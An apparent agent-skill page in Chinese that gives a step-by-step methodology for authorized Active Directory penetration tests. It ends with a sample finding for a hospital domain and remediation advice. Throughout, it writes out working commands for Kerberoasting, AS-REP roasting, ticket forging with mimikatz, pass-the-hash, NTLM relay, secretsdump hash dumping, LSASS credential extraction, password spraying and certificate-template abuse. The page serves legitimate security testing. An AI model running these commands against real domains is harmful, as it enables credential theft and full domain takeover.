计划执行与检查节点
executing-plans
按既定实施计划完成工作,保持过程检查和反馈。
executing-active-directory-attack-simulation【效率与协作】对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。
独立 GitHub 快照 · 自动分类 · 以原作者文档为准
不适用于:未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试(须事先协调)。
从低权限域用户位置枚举 AD 环境:
Get-ADDomain 或 crackmapexec smb <dc_ip> -u <user> -p <pass> --domains 识别域名、功能级别、域控制器和林信任关系Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet 识别服务账户、特权账户和过期密码net group "Domain Admins" /domain 映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系Get-GPO -All | Get-GPOReport -ReportType XML 识别组策略配置,包括密码策略、审计设置和软件部署nltest /domain_trusts /all_trusts 映射域间和林间信任关系,注意信任方向和传递性ldapsearch 或 ADExplorer 搜索带有 userAccountControl 标志的账户,这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"收集并分析 AD 关系数据,识别到达域管理员的最短路径:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\,收集用户、组、会话、ACL、信任关系和 GPO 数据对已识别的脆弱账户执行 Kerberos 攻击:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。离线使用 hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt 破解impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。使用 hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt 破解impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username> 为该服务伪造 TGS 票据mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"利用收集到的凭据在域内横向移动:
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>,在已控账户具有本地管理员权限的系统上执行命令export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass,使用捕获或伪造的 Kerberos 票据impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>,强制认证以中继 NTLM 凭据进行权限提升impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm,转储所有域密码哈希crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce,对所有账户测试一个密码以避免锁定mimikatz "sekurlsa::logonpasswords" 或 procdump -ma lsass.exe lsass.dmp 从 LSASS 内存中提取凭据,然后离线提取串联已发现的攻击路径,从低权限用户提升至域管理员:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologinGet-ADComputer -Filter * -Properties ms-Mcs-AdmPwdcertipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>,查找可利用的证书模板(ESC1-ESC8)| 术语 | 定义 |
|---|---|
| Kerberoasting | 为具有服务主体名称(SPN)的账户请求 Kerberos TGS 票据,并离线破解以恢复服务账户明文密码 |
| AS-REP Roasting | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并离线破解加密时间戳 |
| DCSync | 利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟域控制器行为 |
| BloodHound | 基于图的 Active Directory 分析工具,映射特权关系,识别从任意用户到高价值目标(如域管理员)的攻击路径 |
| 无约束委派(Unconstrained Delegation) | Kerberos 委派配置,允许服务以任意用户身份访问任意其他服务,从而捕获连接用户的 TGT |
| 哈希传递(Pass-the-Hash) | 直接使用 NTLM 哈希而非明文密码进行身份验证,利用 Windows NTLM 认证机制 |
| AD CS 滥用 | 利用错误配置的 Active Directory 证书服务模板请求证书,以获取提升的权限或冒充其他用户 |
| NTLM 中继(NTLM Relay) | 将捕获的 NTLM 认证转发给不同服务,以受害者身份进行认证,在未强制 SMB 签名时有效 |
场景背景:某医院网络拥有单个 Active Directory 林,包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始,目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。
方法:
常见陷阱:
## 发现:服务账户易受 Kerberoasting 攻击且使用弱密码
**ID**: AD-002
**严重性**: 严重(CVSS 9.1)
**受影响对象**: SVC-SQL@corp.example.com(服务账户)
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting
**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称(MSSQLSvc/db-server-01.corp.example.com:1433),
使用弱密码,hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限,测试时该服务器存在活跃的域管理员会话。
**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt(12 分钟破解: Summer2023!)
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希
**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。
**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户(gMSA),自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密,禁用 RC4(DES)加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组,防止凭据缓存
6. 部署 Microsoft Defender for Identity,检测 Kerberoasting 和 DCSync 攻击